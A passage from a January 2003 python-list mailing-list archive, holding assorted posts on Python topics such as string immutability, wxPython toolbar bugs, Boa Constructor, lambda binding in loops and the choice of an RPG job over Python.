References: <2259b0e2.0301180850.7421e446@posting.google.com> <b4iW9.2826$e34.1184@nwrddc04.gnilink.net> <7h3el78ks2e.fsf@pc150.maths.bris.ac.uk> <3E2BDBB0.F38A1DC4@alcyone.com>
Message-ID: <7h3adhwkqes.fsf@pc150.maths.bris.ac.uk>

Erik Max Francis <max at alcyone.com> writes:

> Michael Hudson wrote:
> 
> > I think not, because a type is always an object.
> > 
> > isinstance(c, object) == issubclass(type(c), object) == True.
> >                       ^
> >            except for old-style instances
> 
> Why would an explicit equality comparison to True (or False) ever be
> useful?

What?  I was making a point about why isinstance(<anything>, object)
is true, not suggesting code that anyone would write.

feeling-I've-missed-your-point-ly y'rs,
M.

-- 
  Well, yes.  I don't think I'd put something like "penchant for anal
  play" and "able to wield a buttplug" in a CV unless it was relevant
  to the gig being applied for...
                                 -- Matt McLeod, alt.sysadmin.recovery



From andy at wild-flower.co.uk  Fri Jan 31 14:24:42 2003
From: andy at wild-flower.co.uk (Andy Jewell)
Date: Fri, 31 Jan 2003 19:24:42 +0000
Subject: A True Beleiver, about to turn Heretic!
Message-ID: <200301311924.42284.andy@wild-flower.co.uk>

Ladies and Gentlemen,

I fear I am going to need the cosiness of python-list for mental stability 
over the next 6 months.  The *worst* part is that, in a way, Python itself is 
to blame!

A harsh accusation, I hear you cry.  Not so: read my story and commiserate 
with me...

I've been working for the same company for about 4 years now, doing mostly 
network admin on Novell, Win NT 4 and recently Win 2000.  We have about 
350-ish Win XP workstations, spread around a rather large industrial site 
(about 3km x 1.5km).

So, I've used Python since about late 1999 as an admin aid (and leg-saver): 
I've written quite a few utilities to such things as spidering our LAN and 
remotely reconfiguring JetDirect boxes, or remotely altering the Windows 
registry to enable dynamic IP addresses a la DHCP, shifting gigabytes of user 
data incrementally between the 'old' Novell system and the 'new' windows one 
and so on.

This has been noticed.  Now, instead of simply stating a problem and the 
desired resolution, team members now often ask 'Andy - can you write a 
[python] script to do that?'.  My reply, usually of course, is 'Yes'.  They 
normally get their script pretty quickly too, depending on what new modules I 
have to grok!  Comments from my team-leader like 'Seems quite powerful, this 
Python...' crop up fairly often now.  I just grin...

So a week or so ago, I was called to an impromptu meeting.  I was told that 
our 'developer' contractor will be leaving soon, as the long-running project 
he's working on is drawing to a close.  Although he'll be leaving, the system 
he currently maintains will still need a custodian, not so much for 
development, but for maintenance and 'the odd tweak'.

The application is written in RPG.  Three dialects - RPG IV, RPG/400 and RPG 
ILE.  It's business-critical and runs on an AS/400.  It's also nearly 10 
years old and a lot of it was written using a now disused CASE tool.

After casing the job out, I came up with two pages of 'objections' - I voiced 
them to my line manager, saying 'What's the reward?'.  A bit flustered, he 
said they hadn't thought of that...

On a subsequent meeting, I was informed that they beleive 'I'm the man for the 
job' - due, in part, to my exploits with Python.

I've since pinned them down to a pay review (with no guarantees) and about 5 
courses.  I've been programming with various languages for longer than I care 
to relate, because it makes me feel 'old', so I'm sure I can get my head 
round it, but, after Python it's going to feel like cleaning toilets!

Although Python runs on the AS/400, and I've fiddled idly with it recently, 
it's not practical to 'rewrite' this app, and if I suggested it, I'd be 
laughed in the face.  For my sanity, though, I reckon I'll be employing 
Python to do various 'scripting' tasks on this system, soon!

So, with the next line of Python magic that you cast, please spare a thought 
for the Python Neophyte who got bitten on the ass by the language that time 
forgot, all because of his Pythonic piety.

Out of interest, are there any reformed RPG'ers out in Pythonia?

Have a good weekend, Pythonistas.

-andyj








From donteventhinkaboutit_rochus at nono_vanderkleyn.com  Sun Jan 12 17:48:09 2003
From: donteventhinkaboutit_rochus at nono_vanderkleyn.com (iwk)
Date: Sun, 12 Jan 2003 23:48:09 +0100
Subject: Boa Constructor: stable enough for production use?
Message-ID: <3e21f2f5$0$94297$e4fe514c@dreader4.news.xs4all.nl>

Hi there,

A bit off topic perhaps, but it seems to fit in the "any GUI/IDE/Form 
builder for Python?" category :-)

In my spare time I write and maintain administrative software for a 
local charity. The present applications are a rather rough mix of VB, 
Python/QT and Java/Swing apps with a PostgreSQL backend. This year we'll 
replace them by a new application for which I've just finished 
prototyping the object model in Python 2.2.2. We decided to standardize 
on Python because we're migrating to Linux (no VB) and Python proved to 
be the easiest to maintain.

But creating a rather complex GUI-app under Python with Open Source 
tools used to be far more complex then with VB or Java (JBuilder, 
Netbeans or Eclipse; doesn't really matter). And earlier experiences 
with Tkinter (klunky, ugly, no form builder), wxPython (no stable form 
builder, no Ptyhon specific documentation) and Qt (no python docs and 
lots of trouble to get it working on several Linux distributions) didn't 
exectly make me look forward to the process.

However, today I got the latest build of Boa Constructor from CVS (v 
0.1.5). It's awesome to see how much progress Riaan Booysen and his team 
have made. It seems to be feature complete, easy to use, it's  fast and 
I got an app up and running in no time. In other words, heaven send. 
This could be the environment which makes Python as easy to use as VB or 
Delphi for GUI apps.

But of course, this enthousiasm is based upon one day of playing. Can 
anyone who used Boa Constructor recently to build a more avanced app 
confirm that Boa is stable enough for "production use"?

Regards,

Iwan





From martin at v.loewis.de  Fri Jan  3 07:26:00 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 03 Jan 2003 13:26:00 +0100
Subject: Odd code in lib\os.py
In-Reply-To: <3e157f4a$0$166$65c69314@mercury.nildram.net>
References: <3e157f4a$0$166$65c69314@mercury.nildram.net>
Message-ID: <av3vgk$cgu$04$1@news.t-online.com>

Andrew Wilkinson wrote:
> Is there any reason for it being there, or can I submit a patch to have it
> remove?

See

http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/os.py.diff?r1=1.23&r2=1.24

There once was a longer list, so that the exec statement was the only 
convenient way to formulate this fragment. It would be fine to change 
that, now.

Regards,
Martin





From Kyler at news.Lairds.org  Fri Jan 10 09:44:39 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Fri, 10 Jan 2003 14:44:39 GMT
Subject: Python Based Bug Database?
References: <fd065f64.0301100637.483c0b19@posting.google.com>
Message-ID: <9k23f-ta3.ln1@news.lairds.org>

cmedcoff at comcast.net (Charles Medcoff) writes:

>Is anyone aware of a free or open-source, web based bug tracking
>system based on python?

Among others,
	http://www.zope.org/Members/peterbe/IssueTrackerProduct

--kyler



From LogiplexSoftware at earthlink.net  Fri Jan 17 12:52:12 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 17 Jan 2003 09:52:12 -0800
Subject: wxPython on RedHat 7.3  (GNOME 1.4 I think???)
In-Reply-To: <ef7a350b.0301170933.2990e7af@posting.google.com>
References: <ef7a350b.0301101318.1fdaeb0c@posting.google.com>
	 <mailman.1042235066.17749.python-list@python.org>
	 <ef7a350b.0301131300.58ad06@posting.google.com>
	 <mailman.1042492466.10176.python-list@python.org>
	 <ef7a350b.0301170933.2990e7af@posting.google.com>
Message-ID: <1042825931.32107.30.camel@software1.logiplex.internal>

On Fri, 2003-01-17 at 09:33, Sean wrote:

> Here is a sample program that creates a small frame and adds a toolbar
> with 2 wxStaticText controls.  Under both KDE and Gnome (on both
> redhat 7.3 and 8.0) the static text will disappear anytime you resize
> the frame.  The only way to get it back is to give focus to another
> window, and then focus to the frame.
> 
> 
> from wxPython.wx import *
> 
> ID_ABOUT = 101
> ID_EXIT  = 102
> 
> class MyFrame(wxFrame):
>     def __init__(self, parent, ID, title):
>         wxFrame.__init__(self, parent, ID, title,
>                          wxDefaultPosition, wxSize(400, 250))
> 
> 
>         self.toolBar =
> self.CreateToolBar(wxTB_HORIZONTAL|wxTB_3DBUTTONS, NewId(), "ToolBar")
> 
>         #add state combo boxs
>         id = NewId()
>         self.toolBar.AddControl(wxStaticText(self.toolBar, id, "Static
> Text 1: "))
> 
>         id = NewId()
>         self.toolBar.AddControl(wxStaticText(self.toolBar, id, "Static
> Text 2: "))
> 
> 
>         self.toolBar.Realize()
> 
> 
> 
> class MyApp(wxApp):
>     def OnInit(self):
>         frame = MyFrame(NULL, -1, "Hello from wxPython")
>         frame.Show(true)
>         self.SetTopWindow(frame)
>         return true
> 
> app = MyApp(0)
> app.MainLoop()

Hm.  It seems to work fine for me on Redhat 8.0, using wxPython
2.3.4p2.  What version of wxPython are you using?

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From lbates at swamisoft.com  Fri Jan 24 11:19:53 2003
From: lbates at swamisoft.com (Larry Bates)
Date: Fri, 24 Jan 2003 10:19:53 -0600
Subject: Sharing method code between class instances
Message-ID: <tPydnYzWiJs2-qyjXTWcpg@comcast.com>

I have a question about how to share code between classes.  I've searched
and just can't find anything that is clear enough for me to understand.

Consider: I have a simple class that will hold a field and formatting
(and eventually much more) information.

class field:
    def __init__(self, name, format):
        self.name=name
        self.format=format
        self.value=0
        return

    def draw(self):
        t=self.format % self.value
        return t

if __name__=="__main__":
    f1=field('field1','%i')
    f2=field('field2','%03i')
    .
    .
    .
    fn=field('fieldn','%i')

Problem: My program will create hundreds of instances of this field class
and
I'm worried about the code for each instance of the class being repeated
over
and over filling memory.  In this simple case it wouldn't be a problem, but
the
draw method will get rather large as I introduce MANY formatting parameters
like fill characters, float characters, picture formats, etc. the draw
method will
become quite large/complex.

Question:

If I define a base class like:

class fieldbase:
    def __init__(self, name, format):
        self.name=name
        self.format=format
        self.value=0
        return

    def draw(self):
        t=self.format % self.value
        return t

and then define

class field(fieldbase):
    def __init__(self, name, format)
        fieldbase.__init__(name, format)
        return

if __name__=="__main__":
    f1=field('field1','%i')
    f2=field('field2','%03i')
    .
    .
    .
    fn=field('fieldn','%i')


Have I eliminated the 100's of copies of the draw method that would be
maintained
by the first example?

I hope this makes sense to someone out there.  Thanks in advance for any
feedback.

-Larry Bates

email: lbates at swamisoft.com






From BgPorter at NOartlogicSPAM.com  Mon Jan 27 16:29:25 2003
From: BgPorter at NOartlogicSPAM.com (Brett g Porter)
Date: Mon, 27 Jan 2003 16:29:25 -0500
Subject: String Methods Don't Change ID?
References: <889cbba0.0301271313.7da84213@posting.google.com>
Message-ID: <LcKdnQ5P49H5OaijXTWcpA@comcast.com>

"Kamilche" <klachemin at home.com> wrote in message
news:889cbba0.0301271313.7da84213 at posting.google.com...
> I am reading a book on Python, 'Core Python Programming.' They have
> hammered home how when you change a string, or reassign it, the ID
> changes.
>
> But now, I'm looking the following example, which modifies a string,
> but the ID doesn't change. Can anyone explain why the built-in string
> methods don't modify the ID?
>
> >>> quest = 'what is your favorite color?'
> >>> id(quest)
> 10988760
> >>> quest.capitalize()
> 'What is your favorite color?'
> >>> id(quest)
> 10988760
> >>> quest.center(40)
> '      what is your favorite color?      '
> >>> id(quest)
> 10988760
> >>>

Strings are immutable (keep repeating that...)

calling ``quest.capitalize()`` returns a new string object that is
capitalized, it does not capitalize the original string:


>>> q = "i am immutable"
>>> q2 = q.capitalize()
>>> print q
i am immutable
>>> print q2
I am immutable
>>> id(q)
8092056
>>> id(q2)
8096344






From DLNXPEGFQVEB at spammotel.com  Wed Jan  1 16:04:31 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Wed, 01 Jan 2003 23:04:31 +0200
Subject: Equivalent to chr(eval(self.myhex)) without using eval?
References: <mailman.1040242583.1350.python-list@python.org>
Message-ID: <apl61vkjagnp4uvf7uu04dalq05vmduefm@4ax.com>

On Wed, 18 Dec 2002 15:06:20 -0500, rumours say that "Jeff Kowalczyk"
<jtk at yahoo.com> might have written:

>>>> class Foo:
>...  def __init__(self):
>...   self.myhex = '0x2a'
>...  def bar(self):
>...   print chr(eval(self.myhex))

If the representation contains the '0x' prefix, you can do it as:
print chr(int(self.myhex, 0))

If it's without it, you can
print self.myhex.decode('hex')

Don't know if the latter is available for Zope currently :(
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From max at alcyone.com  Sat Jan 25 20:47:14 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 25 Jan 2003 17:47:14 -0800
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org> <b0ubqb$oiv$3@bob.news.rcn.net> <3E32E5D6.82887F98@engcorp.com>
Message-ID: <3E333E22.D69C6E87@alcyone.com>

Peter Hansen wrote:

> Spam is probably a problem best ignored.  It would probably
> affect all those groups equally anyway.

Actually, that's one of the problems with his collapsing hierarchies
into a single number.  To first order, spammers would probably post to
every comp.* group with the same frequency.  So if a hierarchy contains
six groups, the raw numbers will likely be overcounting spam by
approximately a factor of six, as compared to a solitary newsgroup.

To second order, there's probably an additional effect of newsgroups
with names that sort lexicographically early getting more spam, since
more spammers do their spams sequentially, and those that get forcibly
stopped will be less likely to hit comp.lang.z than comp.lang.a.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Walk a mile in my shoes / And you'd be crazy too
\__/ Tupac Shakur
    Crank Dot Net / http://www.crank.net/
 Cranks, crackpots, kooks, & loons on the Net.



From sjmachin at lexicon.net  Sun Jan 26 03:03:56 2003
From: sjmachin at lexicon.net (John Machin)
Date: 26 Jan 2003 00:03:56 -0800
Subject: LCS for word ? or array intersection ?
References: <4c637994.0301231037.13113f5a@posting.google.com>
Message-ID: <c76ff6fc.0301260003.6491a23a@posting.google.com>

gregtehrig at yahoo.fr (Greg Tehrig) wrote in message news:<4c637994.0301231037.13113f5a at posting.google.com>...
> hi,
> 
> i've got a question for the guys from here, i think this might be done
> by something like decorate/undecorate and LCS (Longest Common
> Sequence) but  perhaps you had a better idea than mine.
> 
> for example :
> s1 = """this is a line containing an example"""
> s2 = """this is another sentence containing 12 words and it is another
> example"""
> 
> and need following output:
> ["""this is""", """containing""", """example"""]
> ["""a line""", """an example"""]
                 ^^^^^^^^^^^^^^^^
This should be merely """an""", shouldn't it???

> ["""another sentence""", """12 words and it is another"""]



From morden at shadows.net  Tue Jan 21 19:56:35 2003
From: morden at shadows.net (morden)
Date: Tue, 21 Jan 2003 16:56:35 -0800
Subject: Preferred way to input python commands from the main loop
Message-ID: <b0kk88$kaj$1@bob.news.rcn.net>

I'm creating a simple tkinter program to get driven by an existing motif 
application.
The way I intend it to work is to have the existing app feed python 
commands to the tkinter program sitting in the mainloop, have them
executed and feed the results in form

fromgui.buttonpressed("tagfoo", 1)

back to the motif app.

Sooo, should I used after() to setup reading from the motif app or 
should I create a thread waiting for the input from the motif app?




From tjw at omnigroup.com  Sat Jan  4 23:09:41 2003
From: tjw at omnigroup.com (Timothy J. Wood)
Date: Sat, 4 Jan 2003 20:09:41 -0800
Subject: [Python-Dev] Cross compiling
In-Reply-To: <20030105040313.GA25905@panix.com>
Message-ID: <83A59F38-2063-11D7-99C2-0003933F3BC2@omnigroup.com>

On Saturday, January 4, 2003, at 08:03  PM, Aahz wrote:

> This discussion should be moved to comp.lang.python, but here's a
> thought for you to address there:  how do you intend to handle

   Well, actually, I'll just probably shut up until I have something to 
show :)

> while 1: pass

   Note the part where I said I wasn't trying to prevent DoS attacks.  
If the user's game hangs when they play module X, they haven't really 
lost anything -- they'll just know not to play that module again.

-tim





From norm at norm.com  Sat Jan 25 09:18:56 2003
From: norm at norm.com (Norm)
Date: Sat, 25 Jan 2003 09:18:56 -0500
Subject: IDLE Python GUI
Message-ID: <3e32a1a6_4@corp.newsgroups.com>

I'm really just getting started in Python with the goal of improving my
Linux networking administration.

I'm learning / practicing with IDLE Python GUI.

Q.  What does the real Python community use for creating Python programs?

Thanks
norm






-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From skip at pobox.com  Thu Jan 23 11:30:18 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 23 Jan 2003 10:30:18 -0600
Subject: (test?return_true:return_false)
In-Reply-To: <1d4cf4c3.0301230735.489c525f@posting.google.com>
References: <1d4cf4c3.0301230735.489c525f@posting.google.com>
Message-ID: <15920.6298.585504.397354@montanaro.dyndns.org>

Daniel asks about the moral equivalent of

        (matches==1?'':'es')

in Python.

The usual idiom for a simple case like this is

    matches > 1 and "es" or ""

You will discover more arcane variations on this theme over time.  They are
generally only useful in obfuscated Python contests, however.

Skip




From arosado at softhome.net  Fri Jan 10 20:09:02 2003
From: arosado at softhome.net (Andres Rosado)
Date: Fri, 10 Jan 2003 21:09:02 -0400
Subject: Too Self Centered
Message-ID: <5.2.0.9.0.20030110210851.00c1e210@mail.softhome.net>

On 09:21 PM 1/7/2003 -0500, the keyboard of python-list-request at python.org 
emitted:
>     def __init__(self):
>           f = open('test1','r')
>           while f.readline()!=''
>                 i += 1
>           self.total = i
>           f.close()

Or
self.total = len[x for x in f.readlines() if x != '']

If you use list compression.


--
Andres Rosado
Email: andresr at despammed.com
ICQ: 66750646
Homepage: http://andres980.tripod.com/

Pedaeration, n.:
     The perfect body heat achieved by having one leg under the
sheet and one hanging off the edge of the bed.
         -- Rich Hall, "Sniglets"  





From exarkun at intarweb.us  Fri Jan 31 22:22:16 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 31 Jan 2003 22:22:16 -0500
Subject: Python Threading front end
In-Reply-To: <3bebb915.0301311636.21966519@posting.google.com>
References: <3bebb915.0301311636.21966519@posting.google.com>
Message-ID: <20030201032216.GA8744@meson.dyndns.org>

On Fri, Jan 31, 2003 at 04:36:51PM -0800, AJ wrote:
> [snip]

> The simluation is really easy to make parrallel, we just
> need to run the same function over and over. So my thought is maybe we
> could use python to do the multithreading as well.

  This makes me think you'd be better off using multiple processes.  As a
bonus, they become easy to control.  Use either signals or IPC, or even
sockets (and take advantage of that cluster you can now convince your boss
you need).  No need to worry about stopping or pausing threads anymore, just
stopping or pausing processes, which is pretty straightforward.

  Jp

-- 
C/C++/Java/Perl/Python/Smalltalk/PHP/ASP/XML/Linux (User+Admin)
Genetic Algorithms/Genetic Programming/Neural Networks
Networking/Multithreading/Legacy Code Maintenance/OpenGL
See my complete resume at http://intarweb.us:8080/
-- 
 up 46 days, 7:49, 5 users, load average: 0.55, 0.34, 0.16
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030131/bb824a7b/attachment.sig>

From adalke at mindspring.com  Wed Jan  8 15:36:51 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 08 Jan 2003 13:36:51 -0700
Subject: Novel Thoughts on Scripting and Languages
In-Reply-To: <52719db8.0301071942.7d23cc46@posting.google.com>
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com>
Message-ID: <avi2jc$o0n$1@slb2.atl.mindspring.net>

James Huang wrote:
> This is an example of scripting:
> 
>   sendMail
>      from:  'me at here.com'
>        to:  'a at b.com, b at c.com'
>        cc:  'd at e.com'
>   subject:  'test test'
>    attach:  'bin.jar'
>      body:  [[*
>                 blah blah blah
>                 blah blah
>             *]]
>  htmlBody:  [[*
>                 <html><body><b>Blah</b> blah
>                 </body></html>
>             *]]
>  ;

As compared to programming which would let you specify the MIME
type for the attachment, or compose the content dynamically instead
of from a file, and say that the htmlBody is multipart/mixed instead
of multipart/alternative, or include PDF as one of the possible
alternatives?

Here's an example of something I don't see 'nicely' doable with
your API.  I want to send email to my clients.  For each client I
want to include a little graph (say a bandwidth usage graph) which
is automatically generated from my database.  In Python I can do
all this without having to explicitly use a temporary file.  It
seems that you have to create a temp file, which then means you
need to worry that the current directory is writeable or that there
isn't some sort of attack possible in your common-writeable
temporary directory.  (Hence not as 'nice'.)


I also wonder if there are problems sending headers which use
multiple character sets.  You only allow one character set for all
of the header.  Suppose my name is Per?z (in the From line) but
I want to send a Subject in Japanese?  Now, I don't know enough
about character sets to know if this is a problem (perhaps Hebrew
and Japanese might be a problem?) or even if email programs allow
this.  But I do know the email spec for encoding in the header
does allow intermixing multiple character sets in even the same
header line -- and Python's API supports it.

Anyway, if these limitations are part of scripting then I
prefer programming, where I can easily define a new function for
the special (though common!) case you have above.

There is an argument for making a programming language which is
easy to use so that non-programmers can work with it -- the
"Computer Programming For Everyone" idea.  That must be balanced
by the fact that while the common case is common, the special
cases are needed, even for beginners.

					Andrew
					dalke at dalkescientific.com




From donn at drizzle.com  Tue Jan 14 23:35:57 2003
From: donn at drizzle.com (Donn Cave)
Date: Wed, 15 Jan 2003 04:35:57 -0000
Subject: OT: spam filtering idea
References: <mailman.1042490665.8620.python-list@python.org> <b0138l$5t1$1@verence.demon.co.uk> <mailman.1042560986.4792.python-list@python.org> <7xznq3ps4s.fsf@ruckus.brouhaha.com> <mailman.1042574669.12631.python-list@python.org>
Message-ID: <1042605356.192315@yasure>

Quoth mertz at gnosis.cx (David Mertz):
...
| I've noticed, however, that the manual filters are usually redundant.
| Almost everything that the patterns I hand coded catch are then also
| caught by the trigram-bayes style.

Hand coded rules would probably work well to accept mail that the
statistical analysis might otherwise reject - e.g., Tim's example
of the conference invitations, any mail from your employer, etc.

	Donn Cave, donn at drizzle.com



From ods at strana.ru  Sun Jan  5 07:56:52 2003
From: ods at strana.ru (Denis S. Otkidach)
Date: Sun, 5 Jan 2003 15:56:52 +0300 (MSK)
Subject: lambda semantics in for loop
In-Reply-To: <280e901b.0301050436.b4e501d@posting.google.com>
Message-ID: <Pine.LNX.4.44L.0301051551220.11220-100000@localhost.localdomain>

On 5 Jan 2003, Henk Punt wrote:

HP> >>> l = []
HP> >>> for i in range(10):
HP> ...     l.append(lambda x: x + i)
[...]
HP> It seems that the 'i' in the lambda binds to the last value
HP> of i in the
HP> for loop.
HP> Is this because 'i' is really a pointer and not the value of
HP> 'i' itself?.
HP> Please enlighten me!,

i inside lambda is a global variable.  When you call it i equals
to 9.

HP> How do I modify the example so that I would get my expected
HP> semantics.

Use class with __call__ method or factory function relying on
nested scopes.

HP> Should I copy 'i' to force the creation of a new object?, If
HP> so how would
HP> this work in the case where i is a string. I've tried to
HP> coerce python
HP> into making a deepcopy of a string so that id(s) !=
HP> id(copy(s)) but I've
HP> not been able to do that also.

Certainly, you can create a copy with "lambda x, i=i: x+i".

-- 
Denis S. Otkidach
http://www.python.ru/      [ru]





From urba0083 at tc.umn.edu  Sat Jan 11 14:58:00 2003
From: urba0083 at tc.umn.edu (Michael Urban)
Date: Sat, 11 Jan 2003 13:58:00 -0600
Subject: Newbie simple py2exe problem
References: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <pete.joos@pobox.com>  of "Sat, 11 Jan 2003 14:15:02 GMT." <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <mailman.1042296260.10798.python-list@python.org> <o7j02vkju89bajmdm2jr2obkjik1i22bpc@4ax.com> <3E205B02.3F201C08@engcorp.com> <jrq02v4rb3le6hfth6sk8nd8io1t8fmtt9@4ax.com> <3E2076A6.3060903@tc.umn.edu>
Message-ID: <3E207748.2030600@tc.umn.edu>

Michael Urban wrote:


> And therin lies your syntax error. "from distutils.core import setup" 
> cannot be indented since Python uses indentation for delimiting code 
> blocks. "from" is part of the main block.

I should add that none of this should be intented since all of it is 
part of the main conde block. So remove your intentation and you will be 
fine.





From tdunn at lynxxsolutions.com  Mon Jan 20 21:30:58 2003
From: tdunn at lynxxsolutions.com (Tony Dunn)
Date: Tue, 21 Jan 2003 02:30:58 GMT
Subject: SOAP w/ Python
Message-ID: <Ch2X9.12419$e34.7096@nwrddc04.gnilink.net>

Although I've played with the SOAP/XML-RPC examples in the Python Cookbook,
can anyone share some sources of Python-based SOAP server code?

In particular, I'm looking to implement some high-level business logic...

Regards,

-Tony





From daniel at dittmar.net  Sat Jan 18 11:33:39 2003
From: daniel at dittmar.net (Daniel Dittmar)
Date: Sat, 18 Jan 2003 17:33:39 +0100
Subject: Coding standard: Prefixing variables to indicate datatype
In-Reply-To: <3E28D273.13497D3E@alcyone.com>
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com>
Message-ID: <b0bvlg$rs9$1@news.eusc.inter.net>

Erik Max Francis wrote:
> Terry Reedy wrote:
> 
> 
>>Once you actually think about it, its obvious that attaching the join
>>method to the joiner is the only sensible place to put it.
>>
>>"Carpenter, exercise your ability to joins these pieces of wood."
> 
> 
> Agreed.  It may look weird at first, but it doesn't take long to realize
> as a method, that's the only place it can logically go.  After all, the
> alternative is having a join method be part of _every single sequence
> interface_, which is clearly heavy-handed.
> 

Now that there are class methods, there's no longer the need to force 
this into a instance method call. str.join (somelist [, joinstring]) 
does the job just fine.

But perhaps someone is already working on string comprehension.

 > I personally find ','.join(S) extremely inuitive

inuit-ive: you mean like eskimo speak? (sorry, couldn't resist the cheap 
shot).

Daniel




From max at alcyone.com  Tue Jan 21 15:38:10 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 21 Jan 2003 12:38:10 -0800
Subject: Pywin print w/o linefeed?
References: <b0k9e9$f5q$1@news.efn.org>
Message-ID: <3E2DAFB2.6C192E61@alcyone.com>

Spencer Ernest Doidge wrote:

> Is there some way to make Python print a string without the linefeed
> at the end? If there were <some instruction> to do that, then I could
> do this:
>
> >>> def go():
>         <some instruction> 'hello world'
>         <some instruction> 'goodbye world'
> 
> >>> go()
> hello worldgoodbye world

You can put a trailing comma after the print statement, but that will
include a space as well, depending on whether or not softspace is set,
etc.

For fine control over the exact details of what is printed, use
sys.stdout.write directly.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ He who conceals his disease cannot expect to be cured.
\__/ (an Ethiopian proverb)
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From aleax at aleax.it  Wed Jan 29 06:41:03 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 11:41:03 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org> <mzCZ9.915$wd2.80392@newsread2.prod.itd.earthlink.net> <mailman.1043799538.401.python-list@python.org>
Message-ID: <j5PZ9.99312$0v.2878112@news1.tin.it>

Laura Creighton wrote:
   ...
> You need to get over your notion that there cannot exist a person who
> is excellent at something and who hates it at the same time.

Amen, hallelujah.  Sullivan *hated* writing operetta music, by all
accounts -- it was just something he HAD to do, to keep bread (and
caviar -- he had expensive tastes;-) on the table; what he LOVED
was writing pompous, "noble" music which (fortunately) nobody but
scholars remember any more -- while the Mikado, e.g., is immortal.

There's definitely a _correlation_ between loving something and being
good at it, but outliers on both sides of the "main sequence" are
just too frequent and obvious in both history and everyday life to
ignore them.


Alex




From altis at semi-retired.com  Tue Jan 14 13:47:59 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Tue, 14 Jan 2003 10:47:59 -0800
Subject: Boa Constructor: stable enough for production use?
References: <3e21f2f5$0$94297$e4fe514c@dreader4.news.xs4all.nl>
Message-ID: <_WYU9.294$au4.38929@news.uswest.net>

Riaan released Boa 0.2.0 alpha yesterday, so you don't have to check it out
from cvs to get a stable version.

http://sourceforge.net/project/showfiles.php?group_id=1909&release_id=133431

For form builders with pure wxPython, you can use Boa, wxDesigner, and
wxGlade. Specific questions should be directed to each products mailing
list, but bringing up this question on the wxPython-users mailing list will
probably get you more responses.

http://www.wxpython.org/maillist.php

ka

"iwk" <donteventhinkaboutit_rochus at nono_vanderkleyn.com> wrote in message
news:3e21f2f5$0$94297$e4fe514c at dreader4.news.xs4all.nl...
> Hi there,
>
> A bit off topic perhaps, but it seems to fit in the "any GUI/IDE/Form
> builder for Python?" category :-)
>
> In my spare time I write and maintain administrative software for a
> local charity. The present applications are a rather rough mix of VB,
> Python/QT and Java/Swing apps with a PostgreSQL backend. This year we'll
> replace them by a new application for which I've just finished
> prototyping the object model in Python 2.2.2. We decided to standardize
> on Python because we're migrating to Linux (no VB) and Python proved to
> be the easiest to maintain.
>
> But creating a rather complex GUI-app under Python with Open Source
> tools used to be far more complex then with VB or Java (JBuilder,
> Netbeans or Eclipse; doesn't really matter). And earlier experiences
> with Tkinter (klunky, ugly, no form builder), wxPython (no stable form
> builder, no Ptyhon specific documentation) and Qt (no python docs and
> lots of trouble to get it working on several Linux distributions) didn't
> exectly make me look forward to the process.
>
> However, today I got the latest build of Boa Constructor from CVS (v
> 0.1.5). It's awesome to see how much progress Riaan Booysen and his team
> have made. It seems to be feature complete, easy to use, it's  fast and
> I got an app up and running in no time. In other words, heaven send.
> This could be the environment which makes Python as easy to use as VB or
> Delphi for GUI apps.
>
> But of course, this enthousiasm is based upon one day of playing. Can
> anyone who used Boa Constructor recently to build a more avanced app
> confirm that Boa is stable enough for "production use"?
>
> Regards,
>
> Iwan
>
>





From torppa at staff.megabaud.fi  Sat Jan  4 23:54:10 2003
From: torppa at staff.megabaud.fi (Jarkko Torppa)
Date: Sun, 5 Jan 2003 04:54:10 +0000 (UTC)
Subject: Blocking ctrl-c to os.popen() or os.system()
References: <d71cc7f6.0301041400.25c106c4@posting.google.com> <mailman.1041737589.4382.python-list@python.org> <qwOR9.108503$6H6.3599736@twister.austin.rr.com>
Message-ID: <av8dpi$pid$1@phys-news1.kolumbus.fi>

